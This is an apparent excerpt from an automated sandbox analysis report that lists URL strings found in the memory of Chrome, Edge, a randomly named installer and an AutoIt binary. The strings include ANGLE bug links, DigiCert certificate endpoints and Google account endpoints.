Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815788493.000020340067C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2881391988.00004D94025A0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2881391988.00004D94025A0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818725480.0000203400AD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816414698.0000203400718000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2816414698.0000203400718000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651X
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6860
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6876
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6878
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929
Source: chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6929e-data
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6953
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036
Source: chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7036tch
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7047
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7172
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7279
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7370
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7406
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2881391988.00004D94025A0000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7488
Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7553
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7556
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815164149.0000203400504000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7724
Source: chrome.exe, 00000013.00000002.2817027455.00002034007D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7760
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/7761
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8162
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215
Source: chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8215e4
Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8229
Source: chrome.exe, 00000013.00000003.2733651393.000020340037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2733785219.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/8280
Source: 25xTHcaF7V.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: 25xTHcaF7V.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: 25xTHcaF7V.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: 25xTHcaF7V.exe	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clients2.google.com/time/1/current
Source: chrome.exe, 00000013.00000002.2815695014.0000203400628000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://clientservices.googleapis.com/chrome-variations/seed?osname=win&channel=stable&milestone=117
Source: 25xTHcaF7V.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: 25xTHcaF7V.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0S
Source: 25xTHcaF7V.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: 25xTHcaF7V.exe	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: 25xTHcaF7V.exe	String found in binary or memory: http://crl4.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crl0
Source: chrome.exe, 00000013.00000002.2812753636.000020340009E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: msedge.exe, 00000018.00000003.2880588473.00004D940257C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://issuetracker.google.com/200067929
Source: chrome.exe, 00000013.00000003.2737485887.000020340105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737351716.000020340104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2738173349.0000203401078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737577278.0000203400F74000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://jsbin.com/temexa/4.
Source: 25xTHcaF7V.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: 25xTHcaF7V.exe	String found in binary or memory: http://ocsp.digicert.com0
Source: 25xTHcaF7V.exe	String found in binary or memory: http://ocsp.digicert.com0A
Source: 25xTHcaF7V.exe	String found in binary or memory: http://ocsp.digicert.com0C
Source: 25xTHcaF7V.exe	String found in binary or memory: http://ocsp.digicert.com0X
Source: chrome.exe, 00000013.00000003.2737539319.00002034010AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737485887.000020340105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737351716.000020340104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739027413.0000203400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739087965.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2738173349.0000203401078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739149480.0000203400FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737577278.0000203400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739058394.0000203400EB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/AUTHORS.txt
Source: chrome.exe, 00000013.00000003.2737539319.00002034010AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737485887.000020340105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737351716.000020340104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739027413.0000203400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739087965.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2738173349.0000203401078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739149480.0000203400FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737577278.0000203400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739058394.0000203400EB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/CONTRIBUTORS.txt
Source: chrome.exe, 00000013.00000003.2737539319.00002034010AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737485887.000020340105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737351716.000020340104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739027413.0000203400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739087965.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2738173349.0000203401078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739149480.0000203400FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737577278.0000203400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739058394.0000203400EB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/LICENSE.txt
Source: chrome.exe, 00000013.00000003.2737539319.00002034010AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739414948.0000203400454000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739566795.000020340113C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737485887.000020340105C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737351716.000020340104C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739027413.0000203400C20000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739087965.0000203400DDC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2818005553.000020340098F000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2738173349.0000203401078000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739149480.0000203400FAC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2737577278.0000203400F74000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739058394.0000203400EB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000003.2739699547.000020340120C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://polymer.github.io/PATENTS.txt
Source: chrome.exe, 00000013.00000002.2821224638.0000203400DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2812568228.0000203400013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://redirector.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvNzI0QUFXNV9zT2RvdUw
Source: chrome.exe, 00000013.00000002.2818236832.00002034009C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://safebrowsing.googleusercontent.com/safebrowsing/clientreport/chrome-certs
Source: chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/
Source: chrome.exe, 00000013.00000002.2817962065.0000203400960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://unisolated.invalid/;i
Source: Surrey.com, 0000000D.00000000.2392026458.0000000000A15000.00000002.00000001.01000000.00000007.sdmp, Nec.9.dr, Surrey.com.2.dr	String found in binary or memory: http://www.autoitscript.com/autoit3/X
Source: chromecache_377.21.dr	String found in binary or memory: http://www.broofa.com
Source: 25xTHcaF7V.exe	String found in binary or memory: http://www.digicert.com/CPS0
Source: chrome.exe, 00000013.00000002.2818277772.00002034009E4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.gstatic.com/generate_204
Source: Surrey.com, 0000000D.00000002.3587128325.0000000005E98000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819043402.0000203400B90000.00000004.00000800.00020000.00000000.sdmp, v37ycb.13.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/
Source: chrome.exe, 00000013.00000002.2812753636.000020340008C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accountcapabilities-pa.googleapis.com/v1/accountcapabilities:batchGet
Source: chrome.exe, 00000013.00000002.2814733100.00002034003B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2815021964.00002034004A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com
Source: chrome.exe, 00000013.00000002.2819155589.0000203400BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000013.00000002.2812568228.0000203400013000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/AddSession
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/GetCheckConnectionInfo
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/ListAccounts?json=standard
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/Logout
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/MergeSession
Source: chrome.exe, 00000013.00000002.2813579578.00002034001C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/OAuthLogin
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/RotateBoundCookies
Source: chrome.exe, 00000013.00000003.2748297187.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport
Source: chrome.exe, 00000013.00000003.2748297187.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/allowlist
Source: chrome.exe, 00000013.00000003.2748297187.00002034002A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/_/IdentityListAccountsHttp/cspreport/fine-allowlist
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.html
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/chrome/blank.htmlB
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/reauth/chromeos
Source: chrome.exe, 00000013.00000002.2812849232.00002034000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/chrome/usermenu
Source: chrome.exe, 00000013.00000002.2812849232.00002034000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignin/chromeos
Source: chrome.exe, 00000013.00000002.2812849232.00002034000B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/kidsignup/chromeos
Source: chrome.exe, 00000013.00000002.2813665337.000020340020C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.google.com/embedded/setup/v2/chromeos
